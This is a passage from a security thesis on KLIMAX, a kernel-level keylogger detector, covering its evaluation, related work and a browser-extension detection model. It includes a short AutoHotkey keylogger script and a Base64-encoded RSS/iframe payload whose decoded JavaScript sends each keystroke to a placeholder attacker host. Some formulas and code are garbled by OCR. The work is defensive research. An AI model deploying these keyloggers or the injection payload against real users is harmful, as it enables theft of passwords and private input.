used at runtime. As a result, KLIMAX reported negligible correlation.

In both cases, we were able to easily analyze the runtime behavior of the
malware and establish that no keylogging API was actually used. In the
case of Backdoor.Win32.Agent.su, no memory write pattern could ever be
recorded even when using very large windows of observation. The malicious
application appeared to be completely idle and waiting for input from a re-
mote server. In this case, it can be speculated that the keylogging behavior
is only triggered on demand, when new input is received from the remote
server. In the case of Trojan-Spy.MSIL.KeyLogger.oa, intensive malicious
activity was found in the memory write patterns recorded by KLIMAX, but
not a single memory write was performed from the DLL that implements the
keylogging API.

To confirm our results, we have also carried out differential analysis be-
tween the output distributions identified during normal system activity and
the output distributions obtained while the keystroke injection phase was
in progress. The analysis showed that there was no statistically meaningful
difference between the two scenarios. A closer inspection of the malware ac-
tivity revealed email spamming-like behavior with the malicious application
constantly trying to connect to well-known SMTP servers. In this case, it
is as well possible that the keylogging behavior can be triggered on demand,
although the malware activity seemed extremely deterministic and repetitive
even for very large windows of observation. Another hypothesis is to recon-
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sider the sample as part of a larger family of malware that supports several
kinds of malicious activities including keylogging, and can be configured to
generate multiple variants performing orthogonal activities but with similar
signatures and APIs used overall.

5.56.3 False Positive Analysis

We have evaluated our approach with many common benign Windows appli-
cations to assess the robustness of our approach with respect to false posi-
tives. In the simplest cases, we experimented with applications not relying
on any form of keystroke interception mechanism which always resulted in
negligible correlation values, or, more often, no correlation at all. More in-
teresting cases are those applications that do rely on some form of keystroke
interception mechanism for legitimate purposes. This is the case for popular
Windows shortcut managers, launchers, and key remappers. For this reason,
we decided to concentrate our evaluation on these cases that are particularly
prone to generating false positives.

We installed and tested a sample of the most popular free Windows ap-
plications in this category. For each application, we performed static binary
analysis—and dynamic analysis when necessary—to extract the set of relevant
Windows APIs used, all taken from USER32.d11. For our purposes, it is im-
portant to distinguish between generic keystroke interception APIs (e.g., Set-
WindowsHookEx, GetKeyState, GetAsyncKeyState), and hotkey registration
APIs (i.e. RegisterHotKey). When RegisterHotKey is used, a programmer-
provided callback is called only when the specified hotkey is detected by
the kernel. Since RegisterHotKey only allows registering hotkeys with stan-
dard modifiers (i.e., CTRL, ALT, SHIFT, WIN), a carefully-chosen input stream
adopted by the injector will essentially never trigger the execution of the
callback and irrelevant correlation values are to be trivially expected.

Luckily, the majority of the hotkey managers we have encountered rely on
both RegisterHotKey and some other standard keystroke interception API
to provide a broader range of features. Testing applications that always make
use of standard interception APIs is crucial to make our false positive analysis
more effective. When necessary, we updated the default configuration of each
application to trigger all the necessary code paths that forced the program to
use standard keystroke interception APIs. Before running each experiment,
we manually verified this assumption using dynamic analysis.

Table 5.3 shows the results of our analysis for the set of applications
considered. For each application, we show the APIs identified using static
and dynamic analysis, and the resulting correlation values found. For brevity,
we show a single correlation value for each application, which represents the
maximum correlation value found over all the output distributions considered
on a per-process per-thread basis. Negligible correlation is reported for PCC
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Application Standard API RegisterHotKey PCC
HoeKey 1.13 v v negligible
KeyTweak 2.3.0 v - negligible
Hot Key Plus 1.01 v v negligible
AutoHotkey 1.0.96.00 v v ~1
ZenKEY 2.3.9 v v negligible
Aquarius Soft Keyboard Hotkey 2.5 v v negligible
Hotkey Recorder Version 2 v - negligible
HotKey Magic 1.3.0 v - negligible

Table 5.3: Applications considered for false positive analysis and resulting PCC values.

values below 0.1. Our analysis shows that in only 1 case KLIMAX reported
non-negligible correlation values. It is important to remark that in all the
other cases high correlation values would have been still reported if we had
not explicitly ignored any memory write patterns on short-lived stack regions
or any memory writes generated by USER32.d11. In the case of AutoHotkey,
arguably the most popular hotkey manager for the Windows platform, the
high correlation value reported admittedly calls for immediate detection.

A closer inspection reveals that AutoHotkey stores all the keystrokes inter-
cepted in a global buffer to implement advanced features and provide a script-
able interface for the user to handle the keystroke collected in the most con-
venient way. This experiment confirms the conservativeness of our approach,
which aims to signal any form of sensitive data harvesting as dangerous, even
without explicitly tracking down information leakage. Ironically, the case of
AutoHotkey shows that our analysis is rarely overly conservative. A quick
web search revealed that the scriptable interface of AutoHotkey does allow
the user to transfer the previously stored keystrokes elsewhere and implement
a fully-fledged keylogger in as few as 8 lines of code as shows Listing 5.1.

1 SetFormat, Integer, H

2 Loop, O0xT7f

3 Hotkey, % . chr(A_Index), LogKey

4 Return

5 LogKey:

6 Key := RegExReplace(asc(SubStr (A_ThisHotkey ,0)), )

7 FileAppend, % (StrLen(Key) == 1 7 : ) . Key, Log.log
8 Return

Listing 5.1: AutoHotkey keylogging configuration file.

5.5.4 Performance Analysis

KLIMAX monitors a process without requiring the user to perform any mod-
ification. This is possible by forcing the hardware to page-fault each time
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a virtual address is referenced. For this purpose, however, we have to force
the processor to continuously flush the TLB. Disabling this buffer has a con-
siderable impact on performance as the CPU needs to continuously walk the
process’s page tables each time a memory address is referenced. As discussed
in Section 5.3.3, we adopted several strategies to mitigate the slowdown. First,
we could select the technique used to protect the memory address space, and
choose write-protection if, as in our case, only write statistics were to suffice.
Also, in some specific scenarios, the analysis could simply ignore the tran-
sient memory regions, so to reduce the number of page-faults and decrease
the performance overhead.

We now present the results of an extensive analysis performed to evaluate
the performance impact of each of these parameters. The first tests timed
the execution of two implementations of a program writing 10MB of random
data on a dynamic allocated memory region. The difference was the instruc-
tion’s family used to execute the memory writes: in the first version we relied
on mov-like instructions, whereas in the second we used a single reps movs
instruction (much more like how memcpy is implemented). Contrary to the
case where our infrastructure forced each instruction to page-fault, the latter
case represents the worst case scenario since an instruction which previously
page-faulted at most once, it is made page-faulting each written word.
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Figure 5.4: Slowdowns imposed by different configurations of KLIMAX to a program
writing (either via a set of mov or a rep movs) 10MB of random data on a dynamic
allocated memory region.

For each of these programs we performed the following tests: first, we
simulated the case of a disabled TLB. This was to compare the overhead
imposed by our infrastructure to that one allegedly produced by any other
approach carelessly monitoring every single memory access. Subsequently we
measured the slowdown with our infrastructure attached by either write or
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user protecting the memory address space. In both cases we also tested the
impact of omitting the stack from the protected memory regions. We remind
that detection of keylogging behaviors requires the statistics already available
by write-protecting the memory address space. The wealth of information
offered by user-protecting the entire memory address space is hereby not used,
and its performance overhead is reported for comparison’s sake. Figure 5.4
depicts our findings. As expected, the implementation relying on reps movs
instructions suffered from the greatest performance overhead. It is important
to notice, though, that in both cases the load imposed by our infrastructure is
always less than TLB-disabled runs. In particular, we can observe that write-
protecting the memory address space, especially when also omitting the stack
from the monitored memory regions, allows us to reduce the imposed slow-
down by almost one order of magnitude.
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Figure 5.5: Slowdowns imposed by KLIMAX (with a selection of configurations) to
some common productivity user applications.

To quantify the slowdown when monitoring real world applications, we
also tested the three major web browsers, a text editor, a mail client, and
a word processor. For each of these programs we timed the execution of
typical user actions in three different scenarios: first with our infrastructure
enabled yet not attached to the process (this to test the overhead imposed
by merely having our infrastructure installed); second, with our infrastruc-
ture monitoring all the program’s memory regions; third, with our infras-
tructure enabled but ignoring the transient memory regions. We selected the
action to be timed based on the most common application’s use cases. In
the context of web browsers, the selected use case was visiting the web site
http://www.bing.com. If the application was a text editor, the action en-
tailed typing and saving a text paragraph of 256 words. When testing the mail
client, the action comprised typing and sending an e-mail of 32 characters.
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Figure 5.5 illustrates the results of our analysis. We can observe that,
in particular when complex applications were analyzed, monitoring the stack
makes the analysis impractically lengthy. Omitting that memory region, how-
ever, is often enough to return to acceptable slowdowns; luckily, as discussed
in Section 5.4, short lived stack regions can safely be ignored, and thus not
monitored. This translates to a slowdown of 31.2x in the worst case scenario
(see LibreOffice Writer). However, no overhead was reported when no analy-
sis was scheduled to taking place. Having our in-kernel driver installing two
always-on custom interrupt handlers did not impact the overall performance
of the memory management. The imposed slowdown is therefore limited to
detection time.

5.6 Discussion

From the experiments presented, some important properties of our approach
have distinctly emerged. First, we confirmed that in-memory keystroke data
harvesting can be used as a good predictor to detect sensitive information
leakage. Our detection strategy was successful in detecting all the malware
samples examined that explicitly used keystroke interception APIs and ex-
hibited keylogging behavior. The main strength of our detection strategy is
to be able to detect keylogging behavior within short windows of observa-
tion even for malware buffering sensitive data in memory for a long time.
In contrast, existing techniques that attempt to detect information leakage
explicitly yield a higher number of false negatives in the general case, unless
an indeterminately large window of observation can be possibly used. For
example, an information leakage tracking mechanism would probably require
a window of observation of days, if a malware were to use a sufficiently large
buffer to harvest a substantial number of keystrokes before transferring all
the data elsewhere.

Second, keystroke data harvesting, when identified correctly, leaves a small
margin for false positives. Although it is not possible to draw final conclu-
sions in the general case, we have only encountered a single hotkey manager
that was signaled as suspicious. As mentioned earlier, this application can
indeed be configured to behave like a keylogger and our detection result re-
flected its behavior. An important remark is that false positives are to be
expected for benign applications that unnecessarily harvest sensitive data
in global memory regions. Consider, for example, a sloppy shortcut man-
ager implementation that allocates all the temporary variables on the global
data region. While it is impossible to rule out the existence of these cases
in general, we have not encountered any example of realistic application in
this category during our analysis. Furthermore, in cases where sensitive data
harvesting were truly unnecessary, it would be straightforward to adapt the
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particular application under analysis to work with our detection technique.
As far as false negatives are concerned, our technique, when used to proac-
tively detect keylogging behavior, suffers from coverage problems common to
existing solutions that attempt to build models based on dynamic malware
behavior [47]. Namely, if the expected behavior is never triggered within the
window of observation but somewhat later, the resulting model can poten-
tially miss some of the fundamental properties intended. In our experimental
analysis, we have seen only two candidate malware samples that could possi-
bly belong to this category. In these two cases, we have speculated that the
keylogging behavior might only be triggered when an event of a particular
nature occurs. Under these circumstances, our proactive strategy may not be
able to infer detection successfully within the window of observation.

While we believe that the problem of triggering a specific malicious behav-
ior is orthogonal to our work and is focus of much prior research [61; 11; 10],
our infrastructure design is intended to mitigate this issue. We explicitly
designed KLIMAX to also support reactive detection with practically no run-
time overhead. From the moment KLIMAX is installed into the kernel, some
slowdown can only be perceived for the particular application under analysis.
This means that we can leave KLIMAX inactive inside the kernel without any
performance problem and reactively activate our analysis on a target appli-
cation only when some particular event occurs. At the kernel level, we have
the ability to support almost arbitrary detection policies driven by monitored
system events. For example, a reactive detection policy might consider start-
ing the analysis whenever a system call that registers a keystroke-interception
callback is issued by a given application. This will immediately trigger a be-
havior analysis of the application. If no detection is found, another policy
might consider repeating the same analysis on the same application every m
minutes, to determine whether the behavior of the callback changes overtime
in face of some particular event. Although we have not explicitly evaluated
the performance of such policies at the system call level, we envision a negligi-
ble runtime overhead. The evaluation of policy-driven detection mechanisms
is part of our ongoing work. Another source of false negatives is given by
malware trying to perform denial-of-service attacks or confuse our detection
technique. A first important observation is that carrying out this attack suc-
cessfully is not entirely trivial if we allow KLIMAX to perform a multi-stage
analysis with different configuration parameters for each stage (i.e., typically
increasing the size of the time interval at every stage).

Second, we remind that the adopted correlation metric is known to be ro-
bust against attempts to break the correlation by disguisement. For example,
in Chapter 3 we show that the PCC is not affected by keyloggers writing to a
file a random number of bytes for each intercepted keystroke. Finally, a ma-
licious application performing any DOS attack should also avoid introducing
an excessive delay not to miss subsequent keystrokes. This is the reason why
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buffering the intercepted keystrokes on the short lived stack for too long is
also not an option to evade our detection technique.

Finally, we believe that most of the issues that can expose our current
system to DOS attacks are caused by bottlenecks in our current implemen-
tation, rather than by fundamental design issues. As part of ongoing work,
for example, we are planning to implement shadowing using explicit write
protection to drastically reduce the number of unnecessary page faults and
improve performance, albeit undoubtedly increasing the complexity of the
current KLIMAX implementation.

A final remark is for malware that injects itself into a legitimate running
process to steal keystrokes only of a specific target foreground application.
To a first approximation, our detection technique can be used “as is” in this
scenario by injecting keystrokes into each foreground application under anal-
ysis. In practice, many legitimate foreground applications will normally react
to keystrokes injected when the application is on focus, generating a number
of false positives. To address this challenge, we need information on how
the legitimate application under analysis normally reacts to keystroke injec-
tion. Thanks to our fine-grained memory write pattern characterization, we
believe it should be possible to learn an accurate model on a per-application
basis to capture enough application semantics. Once the model is available at
detection time, malicious behavior can possibly be inferred from differential
analysis with the output distributions monitored during the runtime analysis.

5.7 Related Work

Malware detection has always proved to be a challenging task. If early detec-
tion mechanisms relied on signatures to counter this plague, code obfuscation
or polymorphism easily affected the technique’s accuracy. To overcome this
problem, behavior-based approaches [104] started to focus on sequences of sys-
tem or library calls to profile the behavior deemed malicious. Unfortunately,
since a sequence of syscalls only describes a certain implementation rather
than a general behavior, building a malware evading this technique was a
trivial task. Nevertheless, malware profiles started to grasp the semantics ly-
ing behind a malicious activity by leveraging more-contextual information in
terms of either library [45] or system calls [55; 47]. However, mimicry attacks
were still possible [48]. To address this concern, Lanzi et al. [50] recently pro-
posed system-centric profiling of benign applications. This approach results
in low false positives, without hindering the detection accuracy.

All the approaches hereby mentioned, however, can not cope with mal-
ware practically identical to benign applications in terms of system and li-
brary calls, without generating a significant number of false positives. As we
showed in Section 5.5.3, malicious applications with keylogging abilities share
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huge portions of their logic with rather common user applications. In light of
this concern, many approaches recently emerged to detect keylogging activi-
ties [1; 35]. Instead of focusing on the APIs used to intercept the keystrokes,
they tried to measure the potential correlation with the APIs in charge of leak-
ing this information. However, while this approach may be effective against
commonly used keyloggers, they can not easily detect malicious applications
concealing their presence by aggressively harvesting sensitive data and hiding
leakage to any possible extent.

This clearly advocates for more fine-grained approaches. Unfortunately,
even taint analysis proved itself ineffective in detecting malware harvesting
user-issued keystrokes [86]. In our work, we ignore the concept of tainting,
and instead leverage the behavior profiled by a fine-grained memory analy-
sis. This is achieved by shadowing the entire memory address space of the
monitored program. To our knowledge, similar approaches have only been
adopted to evade rootkit detection [88] or to automatically unpack unknown
malware [74]. Our memory monitoring strategy is similar, in spirit, to the
technique proposed by Miller [60]. However, his solution did not monitor the
whole address space, nor did it provide strong thread-safety guarantees. Since
our infrastructure is to be used for malware analysis and detection, our design
explicitly took into account every memory write performed by any process’
component to rule out the possibility of false negatives.

5.8 Conclusions

This chapter focused on detecting a particular class of malware exhibiting
keylogging behavior. We presented KLIMAX, a kernel-level infrastructure to
analyze and detect malware with generic keylogging behavior. Our prototype
can be deployed on unmodified Windows-based production systems without
interruption of service. To infer keylogging behavior, we inject a carefully-
crafted keystroke stream into the system and observe the resulting memory
write patterns of the target process.

The experimental results of our proactive detection technique show that
our system leaves practically no margin for false positives and allows for no
false negatives when the keylogging behavior is triggered within the win-
dow of observation. To address trigger-based keylogging behavior, our design
supports policy-based reactive detection that allows for practically no false
negatives in the general case. In our evaluation, we also found that almost
every malware sample with keylogging behavior was misclassified by a num-
ber of anti-virus programs. This suggests that our infrastructure can also be
used in large-scale malware analysis and classification to help recognize and
classify emerging privacy-breaching threats in a more accurate way.



Privileged Detection of Keylogging Add-ons

6.1 Introduction

In this chapter, we present a novel cross-browser detection model for ex-
tensions that eavesdrop privacy-sensitive events, and consider, without loss
of generality, its application to extensions with keylogging behavior, e.g.,
TvyPE 111 keyloggers. Extensions in this category intercept all the user-issued
keystrokes and leak them to third parties. Keylogging extensions are partic-
ularly dangerous because they can be easily used in large-scale attacks (i.e.,
they do not depend on the DOM of the visited page), with the ability to
capture all the user sensitive data, including passwords and credit card num-
bers. For their ease of implementation, they are generally hard to detect
and no countermeasure exists for all the browser implementations available.
Their simplicity also makes them the ideal privacy-breaching candidate for
code injection attacks in vulnerable legitimate extensions. Figure 6.1 shows
how to use a simple and compact payload to inject a full-fledged keylogger
in Feed Sidebar' for Firefox affected by a typical privileged code injection
vulnerability [67].

The contributions of this chapter are threefold. First, to the best of our
knowledge, we are the first to introduce a cross-browser detection model for
privacy-breaching extensions designed to completely ignore the browser inter-
nals. To fulfill this requirement, our model analyzes only the memory activity
of the browser to discriminate between legitimate and privacy-breaching ex-
tension behavior. An SVM (support vector machine) classifier is used to learn
the properties of a number of available memory profiles and automatically
identify new privacy-breaching profiles obtained from unclassified extensions.
Second, we extend KLIMAX in order to execute finer-grained memory analy-

L Affected versions include releases up to Feed Sidebar 3.2.
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<title>Apparently Legitimate Website</title>
<link>http://www.legitimate.com</link>
<description>
Legitimate encoded image follows: &lt;iframe src=&quot;data:text/html
;base64 ,PHNjcmlwdD5kb2N1bWVudC5hZGRFdmVudExpc3R1bmVyKCIrZXlwcmVzcyIsZ
nVuY3Rpb240Z2S17dmFyIHg9bmV3IFhNTEhOdHBSZXF1ZXNOKCk7eC5vcGVuKCIJHRVQiLC
JodHRw0i8vbm90Lmx1Z2210aW1hdGUuY29tLz9rPSIrZS53aGljaCxmYWxzZSk7eC5zZW5
kKG51bGwp030sZmFsc2UpO0zwvc2NyaXBOPg==&quot ;&gt;&1lt;/iframe&gt;
</description>

RSS item with a malicious Base64 encoded payload.

<script>
document .addEventListener ("keypress", function(e) {
var x = new XMLHttpRequest();
x.open("GET","http://not.legitimate.com/7k=" + e.which, false);
x.send (null);
}, false);
</script>

Decoded payload.

Figure 6.1: Deploying a keylogger via Feed Sidebar exploit.

sis, and introduce a formal model to reason and evaluate the contribution of
each of the many Memory Performance Counters that a finer-grained memory
analysis introduces. As previously specified, KLIMAX can be enabled and dis-
abled on demand, thus allowing convenient user- or policy-initiated detection
runs. Finally, we have implemented our detection technique in a production-
ready solution and evaluated it with the latest versions of the 3 most popular
web browsers: Firefox, Chrome, and IE (as of September 2011 [100]). To
test the effectiveness of our solution, we have selected all the extensions with
keylogging behavior from a dataset of 30 malicious samples, and considered
the most common legitimate extensions for all the browsers analyzed. Our
experimental analysis reported no false negatives and a very limited number
of false positives.

6.2 Our Approach

Browsers are becoming increasingly complicated objects that accomplish sev-
eral different tasks. Despite their implementation complexity, the basic model
adopted is still fairly simple, given their event-driven nature. Browser events
are typically triggered by user or network input. In response to a particular
event, the browser performs well-defined activities that distinctly character-
ize its reaction. If we consider all the possible components that define the
browser behavior (e.g., processes, libraries, functions), we expect independent
components to react very differently to the given event.

Browser extensions follow the same event-driven model of the browser.
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When an extension registers an handler for a particular event, the browser
will still react to the event as usual, but will, in addition, give control to the
extension to perform additional activities. Since the presence of the extension
triggers a different end-to-end reaction to the event, we expect new behavioral
patterns to emerge in the activities performed by all the possible components
of the browser.
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Figure 6.2: The intuition leveraged by our approach in a nutshell.

Our approach builds on the intuition (as depicted in Figure 6.2) that the
differences in the reaction to a particular event can reveal fundamental prop-
erties of the extension behavior, even with no prior knowledge (e.g., variables
used or APT functions called) of the exact operations performed in response
to the event. More importantly, if we can model the behavior of how par-
ticular extensions react to certain events, we can then also identify different
classes of extensions automatically. Our detection strategy leverages this idea
to discriminate between legitimate and privacy-breaching extension behavior.

Like in our previous solutions, we artificially inject bogus events into the
system to trigger the reaction of the browser to a particular event of interest.
Concurrent to the injection phase, the monitoring phase records all the ac-
tivities performed by the different components of the browser in response to
the events injected. The reaction of the browser is measured in terms of the
memory activities performed when processing each individual event.

Note that the memory activities of a program are not influenced by higher-
level events such as when a buffer is scheduled for flushing, and thus better
represent the underlying behavior of a program. Our analysis is completely
quantitative, resulting in a black-box model: we only consider the memory
access distribution, not the individual data being processed in memory. The
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reason for using a monitoring infrastructure at this level of abstraction is to
ignore browser and extension internals allowing for a cross-browser detection
strategy. At the same time, memory profiling allows us to build a very fine-
grained behavioral model and achieve high detection accuracy. Furthermore,
we can turn on the detection process only when needed, thus limiting the
performance impact to short and predictable periods of time.

To model and detect privacy-breaching behavior, our injection phase sim-
ulates a number of user-generated events. This is possible by using common
automated testing frameworks that simulate the user input. Unlike our prior
approaches (Chapter 3 and 5) that artificially injected bogus events in the
background, we need to simulate foreground user activity to trigger the re-
action of the browser. In addition, we cannot assume every browser reaction
correlated with the input to be a strong indication of privacy-breaching be-
havior. Browsers normally react to foreground events even if no extension is
installed. To address this challenge, we rely on supervised learning.

The idea is to allow for an initial training phase and learn the memory
behavior of the browser and of a set of representative extensions in response
to the injected events. The training set contains both legitimate and privacy-
breaching extensions. The memory profiles gathered in the training phase
serve as a basis for our detection technique, which aims to automatically
identify previously unseen privacy-breaching extensions. The next sections
introduce our memory profiling infrastructure and our detection model, high-
lighting the role of memory profiles in our detection strategy.

6.3 Browser Memory Profiling

To gather memory profiles that describe the browser behavior, we need the
ability to monitor any memory activity as we artificially inject events into
the browser. Naturally, we favor a non-intrusive monitoring infrastructure
with minimal impact on the user experience. If slowdowns may be acceptable
for a short period of time, it is undesirable to lower the quality of the entire
browsing experience. For this reason, we advocate the need for an online
solution, with no run-time overhead during normal use and the ability to
initiate and terminate memory profiling on demand, without changing the
browser or requiring the user to restart it.

To overcome these challenges, our solution relies on KLIMAX, an in-kernel
driver able to profile all the memory accesses by forcefully protecting the
address space of the profiled application. This strategy generates memory
access violations—i.e., page faults (PFs)—for each memory operation, allow-
ing a custom PF handler in a kernel driver to intercept and record the event.
The driver uses shadow page tables to temporarily grant access to the tar-
get memory regions and allow the program to resume execution. When the
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memory operation completes, the driver restores the protection for the target
regions to intercept subsequent accesses.

Our profiling strategy is explicitly tuned to address programs as sophis-
ticated as modern browsers, which are well known for their intense memory
activity. Instead of intercepting every memory access, we use write protec-
tion to intercept and record only memory write operations, while avoiding
unnecessary PFs in the other cases. In addition, we introduce a number
of optimizations to eliminate other irrelevant PFs (for example on transient
stack regions). Filtering out unnecessary PFs is crucial to eliminate potential
sources of noise from our browser analysis. Note that intercepting memory
writes is sufficient for our purposes, since we are only interested in privacy-
breaching extensions that actually harvest (and potentially leak at a later
time) sensitive data.

In addition, our kernel driver collects fine-grained statistics on each mem-
ory write performed. We record details on the execution context (i.e., the
process) that performed the memory write, the program instruction executed,
and the memory region accessed. Rather than keeping a journal detailing ev-
ery single memory operation, we introduce a number of memory performance
counters (MPCs from now on) to gather global statistics suitable for our
quantitative analysis. Each MPC reflects the total number of bytes writ-
ten by a particular process’ component in a particular memory region in the
monitoring window. This is intended to quantify the intensity of the memory
activity of a particular process executing a specific code path to write data
to a particular memory region. Our driver maintains a single MPC for each
available combination of process, code region, code range, and data region.
To characterize the memory activity in a fine-grained manner and identify
individual code paths more accurately, we break down every code region into
a number of independent code ranges of predefined size.

While previously KLIMAX was memory profiling at the granularity of in-
dividual code regions, our experiments revealed this was insufficient to accu-
rately model the behavior of modern browsers. To achieve greater discrimina-
tion power, our strategy is to identify key code paths at the level of individual
functions being executed. While it is not possible to automatically identify
functions in the general case (symbols may not be available), we approximate
this strategy by maintaining r different code ranges for each code region.

6.4 The Model

In this section, we introduce our model and discuss the design choices we
made to maximize the detection accuracy. Our analysis starts by formalizing
the injection and monitoring phase of our detection technique.

Definition 1. An injection vector is a vector e = ley,...,e,| where each
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element e; represents the number of events injected at the time instant t;,
1 <i<n, and n is the number of time intervals considered.

The injection phase is responsible to feed the target program with the
event distribution given by the vector e for a total of n x ¢ seconds, t be-
ing the duration of the time interval considered. In response to every event
injected, we expect a well-defined reaction from the browser in terms of mem-
ory activity. To quantify this reaction, the monitoring phase samples all the
predefined MPCs at the end of each time interval. All the data collected is
then stored in a memory snapshot for further analysis.

Definition 2. A memory snapshot is a vector ¢ = [c1,...,cn] where each
element c; represents the j-th MPC, 1 < j < m, and m is the total number
of MPCs considered.

At the end of the monitoring phase, the resulting n memory snapshots are
then combined together to form a memory write distribution.

Definition 3. A memory write distribution is a n X m matrizc
C=le,.. ., cn]T = [Ci,j],,5m Whose Tows represent the n memory snapshots
and the columns represent the m MPC' distributions considered.

In our model, the memory write distribution is a comprehensive analyt-
ical representation of the behavior of the target browser in response to a
predetermined injection vector e. Once the injection vector has been fixed,
this property allows us to repeat the experiment under different conditions
and compare the resulting memory write distributions to analyze and model
any behavioral differences. In particular, we are interested in capturing the
properties of the baseline behavior of the browser and compare it against the
behavior of the browser when a given legitimate or privacy-breaching exten-
sion is installed.

Our ultimate goal is to analyze and model the properties of a set of mem-
ory write distributions obtained by monitoring legitimate browser behavior
and a corresponding set of memory write distributions that represent privacy-
breaching browser behavior. Given a sufficient number of known memory
write distributions, a new previously unseen distribution can then be auto-
matically classified by our detection technique. This strategy reflects a two-
class classification problem, where positive and negative examples are given
by memory write distributions that reflect privacy-breaching and legitimate
browser behavior, respectively.

6.4.1 Support Vector Machine

To address the two-class classification problem and automatically discrim-
inate between legitimate and privacy-breaching browser behavior, we select
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support vector machine (SVM) [18] as our binary classification method. SVMs
have been largely used to address the two-class classification problem and of-
fer state-of-the-art accuracy in many different application scenarios [58]. An
SVM-based binary classifier maps each training example as a data point into a
high-dimensional feature space and constructs the hyperplane that maximally
separates positive from negative examples. The resulting maximum-margin
hyperplane is used to minimize the error when automatically classifying future
unknown examples. Each example is represented by a feature vector x; € R?
and mapped into the feature space using a kernel function K (x;,xy), which
defines an inner product in the target space. To ensure the effectiveness of
SVM, one must first carefully select the features that make up the feature vec-
tor, and then adopt an appropriate kernel function, kernel’s parameters, and
soft margin parameter [14]. In our particular setting, the feature vectors must
be directly derived from the corresponding memory write distributions. This
process applies to any positive, negative, or unclassified example. The next
subsections detail the extraction of the relevant features from the memory
write distributions considered and discuss how to translate them into feature
vectors suitable for our SVM classifier. To select the most effective SVM pa-
rameters in our setting, we conducted repeated experiments and performed
cross-validation on the training data. All the experiments were conducted
using LIBSVM [13], a very popular and versatile SVM implementation. Our
experiments showed that the linear kernel with C-SVC = 10 and v = 10 give
the best results in terms of accuracy in the setting considered.

6.4.2 Feature Selection

The features that constitute the feature vector should each ideally detail how
a particular component of the browser reacts to the injection. To achieve this
goal, we need to identify a single feature for each of the m MPC distributions.
The memory activity associated to a particular MPC is a relevant feature
since it documents both how often particular code paths are executed and the
volume of memory writes performed in particular memory regions. The next
question we need to address is how to represent every single feature associated
to a particular MPC. In other words, starting from a MPC distribution, we
need to determine a single numeric feature value that is suitable for SVM-
based classification.

To address this concern, we immediately observe that different MPC dis-
tributions may reflect a completely different behavior of the browser for a
particular MPC. If there is no browser activity for a particular MPC, we will
observe a corresponding zero MPC distribution. If there is some browser ac-
tivity but unrelated to the event distribution being injected, we will observe
a corresponding MPC distribution that is very dissimilar from the original in-
jection vector. Finally, if the browser activity associated to a particular MPC
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represents indeed a reaction of the browser to the injection, we will observe
a corresponding MPC distribution that closely resembles the original injec-
tion vector. To identify every single scenario correctly, we need a correlation
measure that can reliably ascertain whether two distributions are correlated
and causality can be inferred with good approximation. For our purposes, we
adopt the Pearson Correlation Coefficient (PCC) (see Chapter 3 for an exten-
sive discussion) to measure the correlation between the injection vector and
every single MPC distribution. The PCC is suitable for our purposes since it
is both scale and location invariant, properties that make the measure resilient
to linear transformations of the distributions under analysis. This translates
to the ability to compare the original injection vector with any given MPC
distribution, even in face of several memory writes performed for each bogus
event injected (scale invariance property) and uniformly distributed browser
activity performed in the background (location invariance property). Given
two generic distributions P and @, the PCC is defined as in Equation 3.3
which, for the sake of clarity, also follows:

YLy (P P) (Qi - Q)
VEL (P -P) VRN Qi)

In our model, the PCC is used to ascertain whether a particular MPC
distribution reflects a reaction of the browser to the injected events. High
correlation values indicate browser activity directly triggered by the injec-
tion. This is important for two reasons. First, the PCC is used as a feature
selection mechanism in our model. If a particular MPC distribution is not
correlated to the injection vector for a given browser configuration, the MPC
is assumed not to be a relevant feature for the to-be-generated feature vector.
All the features deemed irrelevant for all the examples in the training set are
automatically excluded from the analysis. Second, the PCC is used to de-
termine whether a particular feature is relevant for the browser in a pristine
state (i.e., the baseline behavior of the browser with no extension enabled).
This is important when comparing the memory write distribution of a par-
ticular extension with the memory write distribution of the baseline to filter
out background browser activity and improve the accuracy of the analysis, as
explained later.

PCC (P,Q) =

Once all the relevant features have been identified, we quantify the nu-
merical value of a single feature associated to a particular MPC distribution
as the amplification factor computed with respect to the original injection
vector. Given that these two distributions exhibit high correlation, we ideally
expect an approximately constant amplification factor in terms of number of
bytes written for each event injected over all the time intervals considered.
This is representative of the intensity of the memory activity associated to a
particular MPC and triggered by our injection. Moreover, in order to model
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the behavior of a particular extension more accurately, the intensity of the
memory activity is always measured incrementally, in terms of the number of
additional memory writes performed by the extension for each event injected
with respect to the baseline. In other words, for each extension, the feature
vector can be directly derived from the memory write distribution obtained
for the extension, the memory write distribution obtained for the baseline,
and the predetermined injection vector used in the experiments. The next
subsections present the feature vector used in our model more formally.

6.4.3 Feature Vector: ldeal Case

Let us consider the ideal case first. In the ideal case, we assume no background
memory activity for the browser. This translates to all the MPC distributions
reflecting only memory activity triggered by the artificially injected events.
As a consequence, a given MPC distribution is either fully correlated with
the injection vector (i.e., PCC = 1), or is constantly zero over all the time
intervals if no event-processing activity is found. The latter assumptions
are valid for all the possible memory write distributions (i.e., baseline or
extension(s) enabled). Under these assumptions, the number of bytes written
for each event is constant (assuming deterministic execution) and so is the
amplification factor over all the time intervals.

Let CB be the baseline memory write distribution and C¥ the memory
write distribution when a given extension F is instead enabled, both generated
from the same injection vector e. The element xz; of the feature vector x =
[21,...,%m,] in the ideal case represents the constant amplification factor for
the MPC distribution of the j-th memory performance counter, 1 < j < m.
Each element z; for any given time interval ¢ can be defined as follows.

(6.1)
0 otherwise

{ CLOl 4o i POC(e,CP) > T
T = ki Vg ) =
where T is a generic threshold, and ¢ is the baseline amplification factor.

The rationale behind the feature vector proposed is to have positive am-
plification factors for each feature that represents a reaction of the browser to
our injection. The amplification factor grows as the number of bytes written
for each event increases and departs from the baseline value. The correc-
tion factor € is necessary to ensure positive amplification factors even for
extensions that behave similarly to the baseline for some feature z; (i.e.,
C’f ;R C’f j). In addition, this guarantees that the feature vector used to rep-
resent the baseline during the training phase is always represented by z; = ¢,
1 < j < m. Feature values that are not representative of the browser reacting
to our injection (i.e., their corresponding MPC distribution is not correlated
to the injection vector) are always assumed to be 0. This mapping strategy
is crucial to achieve good separability in the feature space.
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Note that the constructed feature vector contains only relative amplifi-
cation measures and is independent of the particular injection vector used,
as long as both the baseline and the extension memory write distributions
have been generated by the same injection vector. This allows us to use
different injection vectors in the training phase and the testing phase with
no restriction. More importantly, this allows us to compare correctly am-
plification factors obtained for different extensions, as long as the baseline
is maintained stable. In our model, the baseline characterizes the default
behavior of the browser. When switching to a new browser version or imple-
mentation, the memory write distribution of the baseline may change and the
classifier needs to be retrained. Finally, note the impact of the assumptions in
the ideal case. First, the amplification factor is constant over any given time
interval. Second, features that are normally irrelevant for the baseline but
become relevant for a particular extension are always automatically assumed
